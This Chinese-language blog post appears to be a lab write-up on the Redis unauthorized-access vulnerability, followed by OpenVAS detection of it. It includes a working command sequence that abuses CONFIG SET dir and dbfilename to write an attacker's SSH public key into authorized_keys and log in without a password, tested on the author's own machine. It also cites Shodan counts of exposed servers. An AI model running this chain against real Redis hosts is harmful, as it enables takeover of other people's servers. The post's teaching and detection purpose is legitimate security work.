redis未授權(quán)訪問漏洞
了解漏洞
redis是什么?
通過查閱資料可知,redis即為key-value數(shù)據(jù)庫中的一種。這有點用名詞解釋名詞了,但是這有必要先解釋一下key-value數(shù)據(jù)庫。
Key-value數(shù)據(jù)庫顧名思義就是利用鍵和數(shù)據(jù)值相對應(yīng)存儲的一種數(shù)據(jù)庫,就類似于java中的map。我們整個數(shù)據(jù)庫就可以看成一個大的map,在map中一個特地的key對應(yīng)一個唯一的value。
同時我們redis作為key-value數(shù)據(jù)庫的一種他支持很多很多的value的類型,redis也是一種內(nèi)存型的數(shù)據(jù)庫,所以可以提供高效率的讀寫,但同時他占用cpu將會很高。在內(nèi)存上操作, 我們很容易想到數(shù)據(jù)的持久化的問題,不用擔(dān)心,redis可以將數(shù)據(jù)持久化到硬盤中,所以在對不同數(shù)據(jù)集進(jìn)行高速讀寫時需要權(quán)衡內(nèi)存,因為數(shù)據(jù)量不能大于硬件內(nèi)存。
看看網(wǎng)上說的reids相對于其他key-value數(shù)據(jù)庫的三大優(yōu)點:
·Redis支持?jǐn)?shù)據(jù)的持久化,可以將內(nèi)存中的數(shù)據(jù)保存在磁盤中,重啟的時候可以再次加載進(jìn)行使用。
·Redis不僅僅支持簡單的key-value類型的數(shù)據(jù),同時還提供list,set,zset,hash等數(shù)據(jù)結(jié)構(gòu)的存儲。
·Redis支持?jǐn)?shù)據(jù)的備份,即master-slave模式的數(shù)據(jù)備份。
redis未授權(quán)訪問漏洞
Redis在默認(rèn)情況會將服務(wù)綁定在0.0.0.0:6379上,從而將服務(wù)暴露在公網(wǎng)環(huán)境下,如果在沒有開啟安全認(rèn)證的情況下,可以導(dǎo)致任意用戶未授權(quán)訪問Redis服務(wù)器并Redis進(jìn)行讀寫操作。攻擊者在未授權(quán)訪問Redis服務(wù)器時可以通過上傳公鑰的方法將自己的公鑰上傳到Redis服務(wù)器上,達(dá)到免密登陸的效果。
具體漏洞描述
Redis 安全模型的觀念是: “請不要將 Redis 暴露在公開網(wǎng)絡(luò)中, 因為讓不受信任的客戶接觸到 Redis 是非常危險的” 。
Redis 作者之所以放棄解決未授權(quán)訪問導(dǎo)致的不安全性是因為, 99.99% 使用 Redis 的場景都是在沙盒化的環(huán)境中, 為了0.01%的可能性增加安全規(guī)則的同時也增加了復(fù)雜性, 雖然這個問題的并不是不能解決的, 但是這在他的設(shè)計哲學(xué)中仍是不劃算的。
因為其他受信任用戶需要使用 Redis 或者因為運維人員的疏忽等原因,部分 Redis 綁定在 0.0.0.0:6379,并且沒有開啟認(rèn)證(這是Redis 的默認(rèn)配置),如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,將會導(dǎo)致
Redis 服務(wù)直接暴露在公網(wǎng)上,導(dǎo)致其他用戶可以直接在非授權(quán)情況下直接訪問Redis服務(wù)并進(jìn)行相關(guān)操作。
利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以直接使用對應(yīng)的私鑰登錄目標(biāo)服務(wù)器。
漏洞危害
如果攻擊者進(jìn)入了我們的redis服務(wù)器,他便可以自由下載數(shù)據(jù)庫中的文件,造成信息泄露,造成個人隱私泄露或者公司機密泄露,造成巨大損害。同時如果攻擊者進(jìn)行提權(quán)獲取更大的權(quán)限,還會產(chǎn)生更大的危害。
我嘗試使用Shodan對公網(wǎng)上的開放的redis進(jìn)行搜索(port:6379):

我們可以看到一共有87881個結(jié)果,其中我國位列榜首。。。。國人的安全意識還是有待提高。
看一下具體地圖分布吧:

兩次搜索數(shù)量有一點不一樣。

榜首竟然是杭州阿里巴巴。
漏洞的復(fù)現(xiàn)和利用
安裝redis(我采用源碼安裝)
首先下載源碼然后編譯安裝
$ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
$ tar xzf redis-4.0.6.tar.gz
$ cd redis-4.0.6
$ make
編譯完成:

配置文件
在Src目錄下,有四個可執(zhí)行文件redis-server、redis-benchmark、redis-cli和redis.conf(這個在安裝目錄)。然后拷貝到一個目錄下。
$ mkdir /usr/redis
$ cp redis-server /usr/redis
$ cp redis-benchmark /usr/redis
$ cp redis-cli /usr/redis
$ cp redis.conf /usr/redis
$ cd /usr/redis
開啟redis服務(wù)
直接進(jìn)入剛剛創(chuàng)建的redis文件夾后執(zhí)行
$ ./redis-server ./redis.conf

檢查是否成功開啟

配置redis,使他處于漏洞狀態(tài)
我直接開啟了redis,此時沒有認(rèn)證,redis的默認(rèn)就是這樣,然后我只需要將redis更改綁定在0.0.0.0:6379就可以,在redis.conf里面更改就行了。

嘗試使用namp掃描了一下我的6379端口

可以看到一下子就可掃描出信息,而且包含一下敏感信息。
嘗試?yán)胷edis客戶端進(jìn)行未授權(quán)訪問

果然,很成功就進(jìn)入了,上門查看了主機信息(信息在下面,沒截圖)
開啟公鑰登錄
生成公鑰:
$ ssh-keygen -t rsa //rsa加密

然后將公鑰寫入文本:
$ cd ~/.ssh/
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> 1.txt
將1.txt寫入redis
$ cat 1.txt | /usr/redis/./redis-cli -h 127.0.0.1 -x set crack
利用redis客戶端連接
$ ./redis-cli -h 127.0.0.1
獲取redis備份路徑,更改redis備份路徑,設(shè)置備份文件的名稱為authorized_key
$ CONFIG GET dir
$ CONFIG SET dir /home/r_song/.ssh //更改目錄到r_song下
$ CONFIG SET dbfilename authorized_keys
$ CONFIG GET dbfilename //獲取確認(rèn)一下更改成功
$ Save //保存
然后用ssh進(jìn)行連接即可(在.ssh路徑執(zhí)行,并先把我們虛擬機的ssh服務(wù)打開)
$ ssh –i id_rsa ******@127.0.0.1
就可以成功登錄。
使用openvas對我們存在漏洞的系統(tǒng)進(jìn)行掃描
查掃描結(jié)果(在上一篇博客介紹了openvas)

從圖中我們可以看到,redis-1我是使用默認(rèn)的掃描方式,然后redis2是掃描的all tcp and namp 5.1 top100掃描的但是結(jié)果不一樣。我們重點看redis2這個掃描結(jié)果:

可以看到掃描出了redis服務(wù)沒有密碼。
了解openvas使用的各種插件,即nvt是什么
Nvt(network vulnerability tests)即網(wǎng)絡(luò)漏洞測試,是openvas中的免費的掃描插件。我可以在線同步獲取這個插件(openvas-nvt-sync)或者離線下載。

這是我在官網(wǎng)上找到的openvas工作的圖,可以看到,openvas的插件nvt是在openvas scanner提供服務(wù)的。nvt就是根據(jù)不同的需求調(diào)用nasl腳本進(jìn)行檢測。
對應(yīng)掃描該漏洞的nvt是什么?
在掃描結(jié)果中可以找到nvt的名稱,以及OID編號,在 http://www.openvas.org/openvas-nvt-feed.html 中可以根據(jù)OID編號查找對應(yīng)nvt的文件名是什么,然后可以在/var/lib/openvas/plugins/目錄下,找到該文件。

找到指定文件:


前面是這個nvt的一些信息,比如oid,version,還有危險評分等。Family是屬于database的?;具@些都是信息。

主要就是后面幾行,先獲取了端口信息,確定端口是否打開:get_app_port()。然后使用get_kb_item(〈name〉)函數(shù)可以獲得基本信息的〈name〉項的值,這個函數(shù)是匿名函數(shù)。通過測試no_password如果成功了就說明有這個漏洞,然后退出。后面是加密信息端口號。